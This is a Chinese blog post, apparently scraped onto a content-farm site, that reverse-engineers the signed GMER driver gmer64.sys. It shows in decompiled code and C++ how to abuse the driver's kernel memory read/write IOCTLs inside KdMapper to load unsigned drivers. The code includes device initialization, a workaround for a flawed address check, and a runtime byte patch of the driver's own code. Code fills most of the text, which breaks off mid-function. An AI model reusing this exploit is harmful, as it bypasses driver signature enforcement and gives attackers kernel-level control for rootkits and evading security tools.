2025年KdMapper扩展实现之GMER(gmer64.sys)

KdMapper扩展实现之GMER(gmer64.sys)1 背景 KdMapper 是一个利用 intel 的驱动漏洞可以无痕的加载未经签名的驱动 本文是利用其它漏洞 参考 转载 利用签名驱动漏洞加载未签名驱动 做相应的修改以实现类似功能 需要大家对 KdMapper 的代码有一定了解 2 驱动信息 驱动名称 gmer64 sys 时间戳 56DFD0B9 MD5

大家好,我是讯享网,很高兴认识大家。

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称 gmer64.sys 
时间戳 56DFD0B9
MD5 A822B9E6EEDFEBF523
文件版本 2.0.6983.0
设备名称 和驱动名称同名
初始化设备 0x9876C004
读取内存 0x7201C028
写入内存 0x7201C034
Windows 7 支持
Windows 10 22H2(不包含)以下
Windows 11 22000(包含)及以下

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF]) & 0xFFFFFFFFFFFFi64; if (!v2) v2 = 0x2B992DDFA232i64; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return CreateDevice(DriverObject); }

讯享网

3.2 创建设备和符号链接

讯享网NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject) { NTSTATUS result; // eax PWSTR v3; // rdx wchar_t* v4; // rax wchar_t* v5; // rax __int64 v6; // rcx __int16 v7; // ax __int64 v8; // rcx __int16 v9; // ax __int64 v10; // rcx __int16 v11; // ax __int64 v12; // rcx char v13; // al __int64 v14; // rcx ULONG MajorVersion; // [rsp+40h] [rbp-B8h] BYREF ULONG MinorVersion; // [rsp+44h] [rbp-B4h] BYREF struct _UNICODE_STRING DestinationString; // [rsp+48h] [rbp-B0h] BYREF struct _UNICODE_STRING SymbolicLinkName; // [rsp+58h] [rbp-A0h] BYREF char v19[16]; // [rsp+68h] [rbp-90h] BYREF __int16 v20[16]; // [rsp+78h] [rbp-80h] __int16 v21[20]; // [rsp+98h] [rbp-60h] __int16 v22[20]; // [rsp+C0h] [rbp-38h] PsGetVersion(&MajorVersion, &MinorVersion, &BuildNumber, 0i64); dword_1CE40 = MinorVersion | (MajorVersion << 8); if ((MinorVersion | (MajorVersion << 8)) < 0x500) return 0xC0000001; DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_12534; RtlInitUnicodeString(&DestinationString, &Dest); RtlInitUnicodeString(&SymbolicLinkName, SourceString); v3 = DriverObject->DriverName.Buffer; if (v3) { if (DriverObject->DriverName.Length < 0x3Cu) memmove(&Dst, v3, DriverObject->DriverName.Length); v4 = wcsrchr(&Dst, 0x5Cu); if (v4) v5 = v4 + 1; else v5 = &Dst; qword_1CDF0 = (__int64)v5; } else { v5 = (wchar_t*)qword_1CDF0; } snwprintf(&Dest, 0x1Eui64, L"\\Device\\%s", v5); snwprintf(SourceString, 0x1Eui64, L"\\DosDevices\\%s", qword_1CDF0); RtlInitUnicodeString(&DestinationString, &Dest); RtlInitUnicodeString(&SymbolicLinkName, SourceString); result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x9876u, 0, 1u, &DeviceObject); dword_1CE3C = result; if (result >= 0) { dword_1CE3C = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString); if (dword_1CE3C >= 0) { v21[16] = 0; v20[12] = 0; v22[18] = 0; DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)MainDispatch; DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)MainDispatch; DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)MainDispatch; DriverObject->MajorFunction[16] = (PDRIVER_DISPATCH)MainDispatch; ...... } } return result; }

   创建设备名称是通过驱动本身的名称来确定的,其中 48 行和 49行为格式化设备名称和设备链接名称,可以看到字符串总限制大小为0x1E,即30个字符,所以在KdMapper中相关逻辑要作相应修改,参见《4.1 设备名称相关》。

3.3 MainDispatch

__int64 __fastcall MainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp) { unsigned int ntStatus; // edi IO_STATUS_BLOCK* pIosb; // r11 _IO_STACK_LOCATION* pIosp; // rcx int nIoControlCode; // er10 PVOID pSystemBuffer; // rdx PVOID pUserBuffer; // r9 ntStatus = 0; pIosb = &pIrp->IoStatus; pIosp = pIrp->Tail.Overlay.CurrentStackLocation; pIrp->IoStatus.Information = 0i64; pIrp->IoStatus.Status = 0; nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode; pSystemBuffer = pIrp->AssociatedIrp.SystemBuffer; pUserBuffer = pSystemBuffer; if (pIosp->MajorFunction == 2) { sub_124E4(pIosp, pSystemBuffer, pDeviceObject, pSystemBuffer); } else if (pIosp->MajorFunction == 14) { if ((nIoControlCode & 3) == 3) pUserBuffer = pIrp->UserBuffer; ntStatus = DeviceIoControl( pIosp->FileObject, pSystemBuffer, pIosp->Parameters.DeviceIoControl.InputBufferLength, pUserBuffer, pIosp->Parameters.DeviceIoControl.OutputBufferLength, nIoControlCode, pIosb, pDeviceObject); } IofCompleteRequest(pIrp, 0); return ntStatus; }

3.4 DeviceIoControl

讯享网__int64 __fastcall DeviceIoControl(PFILE_OBJECT pFileObject, PVOID pSystemBuffer, unsigned int nInputBufferLength, PVOID pUserBuffer, unsigned int nOutputBufferLength, int nControlCode, IO_STATUS_BLOCK* pIosb, PDEVICE_OBJECT pDeviceObject) { unsigned int v11; // er15 int bInitialized; // eax __int64 result; // rax ...... if (nControlCode == 0x9876C004) { bInitialized = g_Initialized; if (!g_Initialized) bInitialized = 1; g_Initialized = bInitialized; } else { bInitialized = g_Initialized; } if (!bInitialized) { pIosb->Status = 0xC000000D; pIosb->Information = 0i64; return 0xC000000Di64; } switch (nControlCode) { case 0x9876C004: ...... } if (nControlCode != 0x9876C0A4) { if (nControlCode == 0x9876C0A0) { ...... } if (nControlCode == 0x9876C010) KeBugCheck(0xE2u); v36 = pIosb; v53 = DeviceIoControlEx( pFileObject, (GMER64_READ_WRITE_MEMORY_INFO*)pSystemBuffer, nInputBufferLength, pUserBuffer, nOutputBufferLength, nControlCode, pIosb); pIosb->Status = v53; if (v53 == 0xC0000010) pIosb->Status = sub_18D5C( pFileObject, pSystemBuffer, nInputBufferLength, pUserBuffer, nOutputBufferLength, nControlCode, pIosb, pDeviceObject); return (unsigned int)v36->Status; } ...... if (v50) ExFreePoolWithTag(v50, 0); return (unsigned int)pIosb->Status; }

  初始化设备控制码 0x9876C004, 其中第8到第24行是一个初始化判断的逻辑,需要处理这个逻辑后才能正常的处理其它的IO请求。见《4.2 设备初始化相关》

  在正常的DeviceIoControl中没有读写内存的实现,其实现在 DeviceIoControlEx中。

3.5 DeviceIoControlEx

 __int64 __fastcall DeviceIoControlEx(PFILE_OBJECT pFileObject, GMER64_READ_WRITE_MEMORY_INFO* pSystemBuffer, unsigned int nInputBufferLength, PVOID pUserBuffer, unsigned int nOutputBufferLength, int nControlCode, _IO_STATUS_BLOCK* pIosb) { size_t v8; // rbx __int64 result; // rax ...... v8 = nInputBufferLength; P[1] = pIosb; LODWORD(P[0]) = 0; switch (nControlCode) { case 0x7201C004: ...... case 0x7201C028: if (nInputBufferLength < 8 || !pSystemBuffer) { result = 0xC0000206i64; pIosb->Status = 0xC0000206; return result; } if (nOutputBufferLength < 4 || !pUserBuffer) { result = 0xC0000206i64; pIosb->Status = 0xC0000206; return result; } pSystemBufferV24 = pSystemBuffer->ReadMemorySourceAddress; if (MmIsAddressValid(pSystemBuffer->ReadMemorySourceAddress) && MmIsAddressValid((char*)pSystemBufferV24 + nOutputBufferLength)) { ReadMemory(pUserBuffer, pSystemBufferV24, nOutputBufferLength); pIosb->Information = nOutputBufferLength; pIosb->Status = 0; return 0i64; } pIosb->Status = 0xC000000D; break; case 0x7201C034: if (nInputBufferLength >= 0x18 && pSystemBuffer) { if (MmIsAddressValid(pSystemBuffer->WriteMemoryDestinationAddress) && MmIsAddressValid((char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length)) { WriteReadOnlyMemory(pSystemBuffer->WriteMemoryDestinationAddress, &pSystemBuffer[1], pSystemBuffer->Length); pIosb->Status = 0; pIosb->Information = 0i64; result = 0i64; } else { pIosb->Status = 0xC000000D; pIosb->Information = 0i64; result = 0xC000000Di64; } } else { result = 0xC0000206i64; pIosb->Status = 0xC0000206; } return result; default: return 0xC0000010i64; } return result; }

  其中 0x7201C028 是读取内存,实现函数为 ReadMemory, 0x7201C034 为写入内存,实现函数为 WriteReadOnlyMemory。

  第43到第44行为校验写入内存地址的有效性,但此校验逻辑有问题,故我们的实现代码要做相应的修改,参见《4.3 写入地址校验相关》。

3.6 读取内存

讯享网__int64 __fastcall ReadMemory(void* Dst, PVOID VirtualAddress, size_t MaxCount) { size_t nLengthCopy; // r13 char bLocked; // si PMDL pMdl; // rax _MDL* pMdlMapped; // rdi PVOID pMappedAddress; // r12 unsigned int ntStatus; // ebx KIRQL irql; // bl KSPIN_LOCK SpinLock; // [rsp+78h] [rbp+20h] BYREF nLengthCopy = (unsigned int)MaxCount; bLocked = 0; pMdl = IoAllocateMdl(VirtualAddress, MaxCount, 0, 0, 0i64); pMdlMapped = pMdl; if (!pMdl) return 0xC000009Ai64; if ((pMdl->MdlFlags & 7) == 0) // MDL_MAPPED_TO_SYSTEM_VA|MDL_PAGES_LOCKED|MDL_SOURCE_IS_NONPAGED_POOL { MmProbeAndLockPages(pMdl, 0, IoReadAccess); bLocked = 1; } pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, 0x10u); if (pMappedAddress) { SpinLock = 0i64; irql = KeAcquireSpinLockRaiseToDpc(&SpinLock); memmove(Dst, pMappedAddress, nLengthCopy); KeReleaseSpinLock(&SpinLock, irql); ntStatus = 0; MmUnmapLockedPages(pMappedAddress, pMdlMapped); } else { ntStatus = 0xC000009A; } if (bLocked) MmUnlockPages(pMdlMapped); IoFreeMdl(pMdlMapped); return ntStatus; }

3.7 写入内存 

__int64 __fastcall WriteReadOnlyMemory(void* Dest, const void* Source, ULONG nLength) { size_t nLengthCopy; // r13 char bLocked; // si PMDL pMdl; // rax _MDL* pMdlMapped; // rdi PVOID pMappedAddress; // r12 unsigned int ntStatus; // ebx KIRQL kOldIRQL; // bl KSPIN_LOCK SpinLock; // [rsp+78h] [rbp+20h] BYREF nLengthCopy = nLength; bLocked = 0; pMdl = IoAllocateMdl(Dest, nLength, 0, 0, 0i64); pMdlMapped = pMdl; if (!pMdl) return 0xC000009Ai64; if ((pMdl->MdlFlags & 7) == 0) // MDL_MAPPED_TO_SYSTEM_VA|MDL_PAGES_LOCKED|MDL_SOURCE_IS_NONPAGED_POOL { MmProbeAndLockPages(pMdl, 0, IoModifyAccess); bLocked = 1; } pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, 0x10u); if (pMappedAddress) { SpinLock = 0i64; kOldIRQL = KeAcquireSpinLockRaiseToDpc(&SpinLock); memmove(pMappedAddress, Source, nLengthCopy); KeReleaseSpinLock(&SpinLock, kOldIRQL); ntStatus = 0; MmUnmapLockedPages(pMappedAddress, pMdlMapped); } else { ntStatus = 0xC000009A; } if (bLocked) MmUnlockPages(pMdlMapped); IoFreeMdl(pMdlMapped); return ntStatus; }

  写入内存第20行MmProbeAndLockPages的参数不应该是IoModifyAccess,用IoModifyAccess在Win10以上系统导导致整个写内存失败,要用一定方法来修改这段代码逻辑,见《4.4 写入内存相关》。

3.8 GMER64_READ_WRITE_MEMORY_INFO结构体

讯享网00000000 GMER64_READ_WRITE_MEMORY_INFO struc ; (sizeof=0x14, mappedto_391) 00000000 ReadMemorySourceAddress dq ? ; offset 00000008 WriteMemoryDestinationAddress dq ? ; offset 00000010 Length dd ? 00000014 GMER64_READ_WRITE_MEMORY_INFO ends

4.相关修改逻辑

4.1 设备名称相关

4.1.1 逻辑分析

  创建设备名称关键逻辑《3.2 创建设备和符号链接》中第48、49行,如下:

snwprintf(&Dest, 0x1Eui64, L"\\Device\\%s", v5); snwprintf(SourceString, 0x1Eui64, L"\\DosDevices\\%s", qword_1CDF0);

  可以看到格式化字符串大小为 0x1E ,即30个字符,减去格式化字符串的字符 L"\\DosDevices\\"的12个字符,设备名称大小应为18个字符以下,太长了会导致截断,从而实际创建的设备名称和设置的名称不一样导致后继逻辑失败。

  而设备名称是根据驱动的名称来,见《3.2 创建设备和符号链接》中32至47行:

讯享网v3 = DriverObject->DriverName.Buffer; if (v3) { if (DriverObject->DriverName.Length < 0x3Cu) memmove(&Dst, v3, DriverObject->DriverName.Length); v4 = wcsrchr(&Dst, 0x5Cu); if (v4) v5 = v4 + 1; else v5 = &Dst; qword_1CDF0 = (__int64)v5; } else { v5 = (wchar_t*)qword_1CDF0; }

4.1.2 原逻辑代码

HANDLE gmer_driver::Load() { ...... memset(gmer_driver::driver_name, 0, sizeof(gmer_driver::driver_name)); static const char alphanum[] = "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; int len = rand() % 20 + 10; for (int i = 0; i < len; ++i) gmer_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; ...... HANDLE result = CreateFileW(L"\\\\.\\GMER64", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!result || result == INVALID_HANDLE_VALUE) { gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } ...... }

4.1.3 修改后代码

讯享网HANDLE gmer_driver::Load() { ...... memset(gmer_driver::driver_name, 0, sizeof(gmer_driver::driver_name)); static const char alphanum[] = "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; //由于漏洞驱动内创建设备名称有字符串限制,所以只能创建17个字符以下 //int len = rand() % 20 + 10; int len = rand() % 7 + 10; for (int i = 0; i < len; ++i) gmer_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; ...... std::wstringstream device_name; device_name << L"\\\\.\\"; device_name << GetDriverNameW(); Log(L"[+] Open Device " << device_name.str().c_str() << std::endl); Sleep(300); HANDLE result = CreateFileW(device_name.str().c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); //HANDLE result = CreateFileW(L"\\\\.\\GMER64", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!result || result == INVALID_HANDLE_VALUE) { Log(L"[-] Failed to load driver " << GetDriverNameW() << L".sys" << std::endl); gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } ...... }

4.2 设备初始化相关

  设备初始化控制码为 0x9876C004,不需要传递参数,发送该控制码后 g_Initialized被置 1。

  实现代码如下:

#define GMER64_DEVICE_INITIALIZE_TYPE (DWORD)0x9876 #define GMER64_DEVICE_INITIALIZE_FUNCID (DWORD)0x3001 #define IOCTL_GMER64_DEVICE_INITIALIZE \ CTL_CODE(GMER64_DEVICE_INITIALIZE_TYPE, GMER64_DEVICE_INITIALIZE_FUNCID , METHOD_BUFFERED, FILE_ANY_ACCESS)//0x9876C004 bool gmer_driver::InitializeDevice(HANDLE device_handle) { bool bOK = false; DWORD bytes_returned = 0; bOK = DeviceIoControl(device_handle, IOCTL_GMER64_DEVICE_INITIALIZE, &bytes_returned, sizeof(bytes_returned), &bytes_returned, sizeof(bytes_returned), &bytes_returned, nullptr); if (!bOK) { Log(L"[-] InitializeDevice DeviceIoControl failed" << std::endl); } return bOK; } HANDLE gmer_driver::Load() { ...... HANDLE result = CreateFileW(device_name.str().c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!result || result == INVALID_HANDLE_VALUE) { Log(L"[-] Failed to load driver " << GetDriverNameW() << L".sys" << std::endl); gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!gmer_driver::InitializeDevice(result)) { Log(L"[-] Failed to Initialize Device" << std::endl); gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } ...... }

4.3 写入地址校验相关

  写入地址代码见《3.5 DeviceIoControlEx》 43、44行,如下:

讯享网if (MmIsAddressValid(pSystemBuffer->WriteMemoryDestinationAddress)&& MmIsAddressValid((char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length)) { ...... }

  代码中为  + pSystemBuffer->Length,这个逻辑是错误的,实际中判断地址会超出指定的范围。如果修改可以为 +(pSystemBuffer->Length-1)。如在完整代码中为:

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) { ...... if (mdlMode) { kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size, &mdlptr); } else { kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size); } ...... uint64_t realBase = kernel_image_base; ...... if (!gmer_driver::WriteMemory(iqvw64e_device_handle, realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size)) { Log(L"[-] Failed to write local image to remote image" << std::endl); kernel_image_base = realBase; break; } ...... } 

  加载的驱动先 AllocatePool分配指定大小,然后再 WriteMemory 写入。在校验代码中 (char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length 刚好为分配的内存尾部之后,从而导致校验失败。

  实际可行的修改方案为先分配比原始大小大一些的内存,然后写入时再写入原始大小。


讯享网

  修改代码如下:

讯享网uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) { ...... uint64_t kernel_image_base = 0; uint64_t mdlptr = 0; //校验写入地址时代码如下 // if (MmIsAddressValid(pSystemBuffer->WriteMemoryDestinationAddress)&& // MmIsAddressValid((char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length)) //这个地址检验有问题,会超出指定的大小,在超出大小时比如分配指定大小的内存后,会导致验证失败,从而写入内存出错。 // 故将分配时的大小扩大,写入数据时再用较小的原始大小,这里可以加一个Page,也可以直接+1 ...... if (mdlMode) { //kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size, &mdlptr); kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr); } else { //kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size); kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size + 0x1000); } ...... }

  经过验证该方法是可行的。

4.4 写入内存相关

4.4.1 逻辑分析

  写入内存时先调用 MmProbeAndLockPages(pMdl, 0, IoModifyAccess) 然后再 MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, 0x10u),在这种情况下如果分配的MDL对应的内存地址是只读的就会导致MmProbeAndLockPages失败,从而整个 WriteReadOnlyMemory失败。

  如果要修改的话就可以改为 MmProbeAndLockPages(pMdl, 0, IoReadAccess) ,但这样需要修改驱动代码段的内容,可以使用稍后实现的WriteToReadOnlyMemory写驱动代码的WriteToReadOnlyMemory中对应的MmProbeAndLockPages地址处的参数。

4.4.2 IDA分析修改代码内存

  先IDA打开 gmer64.sys,定位到 WriteToReadOnlyMemory 中的 MmProbeAndLockPages位,如下:

  

  可以看到设置 MmProbeAndLockPages的第三个参数在 0x169B9,汇编为 lea r8d,[rdx+2],其字节码为 44 8D 42 02 ,需要改为设置 r8d 为0。

  可以参考地址 0x1698E的汇编代码:

  

  汇编代码 xor r8d, r8d, 字节码为 45 33 C0, 而 MmProbeAndLockPages设置第三个参数的字节码为4个字节,故可以设置0x169B9位置的汇编码为:

xor r8d,r8d nop

  对应的字节码就是 45 33 C0 90, 即修改 0x16B9 地址为值 0x90C03345。

4.4.3 定位MmProbeAndLockPages第三个参数偏移

  用 StudyPe64 打开 gmer64.sys,并打开 RVA-FOA计算噐。

  VA输入 169B9,然后转换,得到RVA为 69B9。

        

  则通过加载的驱动模块基址加上0x69B9后即为设置MmProbeAndLockPages的第三个参数代码的地址,改值为0x90C03345即可。

4.4.4 代码实现

讯享网#define MmProbeAndLockPagesParamterOffset (0x69B9) #define MmProbeAndLockPagesParamterValue (0x90C03345) bool gmer_driver::ModifyMmProbeAndLockPagesParamter(HANDLE device_handle) { uint64_t driverBaseAddress = utils::GetKernelModuleAddress(gmer_driver::driver_name); if (!driverBaseAddress) { Log(L"[-] Failed to get " << gmer_driver::GetDriverNameW() << std::endl); return false; } /* uint64_t driverBaseAddress = utils::GetKernelModuleAddress("gmer64.sys"); if (!driverBaseAddress) { Log(L"[-] Failed to get gmer64.sys" << std::endl); return false; }*/ Log(L"[+] DriverBaseAddress Address 0x" << std::setbase(16) << std::setfill(L'0') << driverBaseAddress << std::endl); //.text:00000000000169B7 33 D2 xor edx, edx; AccessMode //.text:00000000000169B9 44 8D 42 02 lea r8d, [rdx + 2]; Operation //.text:00000000000169BD 48 8B C8 mov rcx, rax; MemoryDescriptorList //.text:00000000000169C0 FF 15 2A 48 00 00 call cs : MmProbeAndLockPages uint64_t pMmProbeAndLockPagesParamter = driverBaseAddress + MmProbeAndLockPagesParamterOffset; Log(L"[+] MmProbeAndLockPagesParamter Address 0x" << std::setbase(16) << std::setfill(L'0') << pMmProbeAndLockPagesParamter << std::endl); //参考.text:000000000001698E 45 33 C0 xor r8d, r8d DWORD dwData = MmProbeAndLockPagesParamterValue; // 45 33 C0 90 WriteMemory(device_handle, pMmProbeAndLockPagesParamter, &dwData, sizeof(DWORD)); return true; } HANDLE gmer_driver::Load() { srand((unsigned)time(NULL) * GetCurrentThreadId()); ...... if (!gmer_driver::InitializeDevice(result)) { Log(L"[-] Failed to Initialize Device" << std::endl); gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!gmer_driver::ModifyMmProbeAndLockPagesParamter(result)) { Log(L"[-] Failed to ModifyMmProbeAndLockPagesParamter" << std::endl); gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } ...... }

5.完整关键代码

#define GMER64_DEVICE_TYPE (DWORD)0x7201 #define GMER64_DEVICE_INITIALIZE_TYPE (DWORD)0x9876 #define GMER64_READ_MEMORY_FUNCID (DWORD)0x300A #define GMER64_WRITE_MEMORY_FUNCID (DWORD)0x300D #define GMER64_DEVICE_INITIALIZE_FUNCID (DWORD)0x3001 #define IOCTL_GMER64_DEVICE_INITIALIZE \ CTL_CODE(GMER64_DEVICE_INITIALIZE_TYPE, GMER64_DEVICE_INITIALIZE_FUNCID , METHOD_BUFFERED, FILE_ANY_ACCESS)//0x9876C004 #define IOCTL_GMER64_READ_MEMORY \ CTL_CODE(GMER64_DEVICE_TYPE, GMER64_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x7201C028 #define IOCTL_GMER64_WRITE_MEMORY \ CTL_CODE(GMER64_DEVICE_TYPE, GMER64_WRITE_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x7201C034 #define MmProbeAndLockPagesParamterOffset (0x69B9) #define MmProbeAndLockPagesParamterValue (0x90C03345) #pragma pack(push) #pragma pack(1) typedef struct _GMER64_READ_WIRTE_MEMORY_INFO { PVOID ReadMemorySourceAddress; PVOID WriteMemoryDestinationAddress; DWORD Length; }GMER64_READ_WIRTE_MEMORY_INFO, * PGMER64_READ_WIRTE_MEMORY_INFO; #pragma pack(pop)

讯享网bool gmer_driver::InitializeDevice(HANDLE device_handle) { bool bOK = false; DWORD bytes_returned = 0; bOK = DeviceIoControl(device_handle, IOCTL_GMER64_DEVICE_INITIALIZE, &bytes_returned, sizeof(bytes_returned), &bytes_returned, sizeof(bytes_returned), &bytes_returned, nullptr); if (!bOK) { Log(L"[-] InitializeDevice DeviceIoControl failed" << std::endl); } return bOK; } bool gmer_driver::ModifyMmProbeAndLockPagesParamter(HANDLE device_handle) { uint64_t driverBaseAddress = utils::GetKernelModuleAddress(gmer_driver::driver_name); if (!driverBaseAddress) { Log(L"[-] Failed to get " << gmer_driver::GetDriverNameW() << std::endl); return false; } /* uint64_t driverBaseAddress = utils::GetKernelModuleAddress("gmer64.sys"); if (!driverBaseAddress) { Log(L"[-] Failed to get gmer64.sys" << std::endl); return false; }*/ Log(L"[+] DriverBaseAddress Address 0x" << std::setbase(16) << std::setfill(L'0') << driverBaseAddress << std::endl); //.text:00000000000169B7 33 D2 xor edx, edx; AccessMode //.text:00000000000169B9 44 8D 42 02 lea r8d, [rdx + 2]; Operation //.text:00000000000169BD 48 8B C8 mov rcx, rax; MemoryDescriptorList //.text:00000000000169C0 FF 15 2A 48 00 00 call cs : MmProbeAndLockPages uint64_t pMmProbeAndLockPagesParamter = driverBaseAddress + MmProbeAndLockPagesParamterOffset; Log(L"[+] MmProbeAndLockPagesParamter Address 0x" << std::setbase(16) << std::setfill(L'0') << pMmProbeAndLockPagesParamter << std::endl); //参考.text:000000000001698E 45 33 C0 xor r8d, r8d DWORD dwData = MmProbeAndLockPagesParamterValue; // 45 33 C0 90 WriteMemory(device_handle, pMmProbeAndLockPagesParamter, &dwData, sizeof(DWORD)); return true; } bool gmer_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) { if (!address || !buffer || !size) { Log(L"[!] ReadMemory Invalidate Parameters" << std::endl); return false; } bool bOK = false; CHAR cBuffer[4] = { 0 }; GMER64_READ_WIRTE_MEMORY_INFO info = { 0 }; info.ReadMemorySourceAddress = (PVOID)address; info.Length = (DWORD)size; if (size < 4) { info.Length = 4; } DWORD bytes_returned = 0; if (size < 4) { bOK = DeviceIoControl(device_handle, IOCTL_GMER64_READ_MEMORY, &info, sizeof(info), &cBuffer, 4, &bytes_returned, nullptr); if (bOK) { RtlCopyMemory(buffer, &cBuffer, size); } } else { bOK = DeviceIoControl(device_handle, IOCTL_GMER64_READ_MEMORY, &info, sizeof(info), buffer, (DWORD)size, &bytes_returned, nullptr); } if (!bOK) { Log(L"[!] ReadMemory DeviceIoControl failed" << std::endl); } return bOK; } bool gmer_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) { bool bOK = false; if (!address || !buffer || !size) { Log(L"[!] WriteMemory Invalidate Parameters" << std::endl); return false; } DWORD dwBufferLength = (DWORD)(sizeof(GMER64_READ_WIRTE_MEMORY_INFO) + size); PVOID pBuffer = (PVOID)malloc(dwBufferLength); if (!pBuffer) { Log(L"[!] WriteMemory malloc failed" << std::endl); return false; } GMER64_READ_WIRTE_MEMORY_INFO info = { 0 }; info.WriteMemoryDestinationAddress = (PVOID)address; info.Length = (DWORD)size; RtlCopyMemory((PUCHAR)pBuffer, &info, sizeof(GMER64_READ_WIRTE_MEMORY_INFO)); RtlCopyMemory((PUCHAR)pBuffer + sizeof(GMER64_READ_WIRTE_MEMORY_INFO), buffer, size); DWORD bytes_returned = 0; bOK = DeviceIoControl(device_handle, IOCTL_GMER64_WRITE_MEMORY, pBuffer, dwBufferLength, buffer, (DWORD)size, &bytes_returned, nullptr); if (!bOK) { Log(L"[!] WriteMemory DeviceIoControl failed" << std::endl); } if (pBuffer) { free(pBuffer); pBuffer = NULL; } return bOK; } bool gmer_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) { bool result = WriteMemory(device_handle, address, buffer, size); return result; } uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) { const PIMAGE_NT_HEADERS64 nt_headers = portable_executable::GetNtHeaders(data); if (!nt_headers) { Log(L"[-] Invalid format of PE image" << std::endl); return 0; } if (nt_headers->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) { Log(L"[-] Image is not 64 bit" << std::endl); return 0; } uint32_t image_size = nt_headers->OptionalHeader.SizeOfImage; void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (!local_image_base) return 0; DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress; image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0); uint64_t kernel_image_base = 0; uint64_t mdlptr = 0; //校验写入地址时代码如下 // if (MmIsAddressValid(pSystemBuffer->WriteMemoryDestinationAddress)&& // MmIsAddressValid((char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length)) //这个地址检验有问题,会超出指定的大小,在超出大小时比如分配指定大小的内存后,会导致验证失败,从而写入内存出错。 // 故将分配时的大小扩大,写入数据时再用较小的原始大小,这里可以加一个Page,也可以直接+1 if (mdlMode) { //kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size, &mdlptr); kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr); } else { //kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, 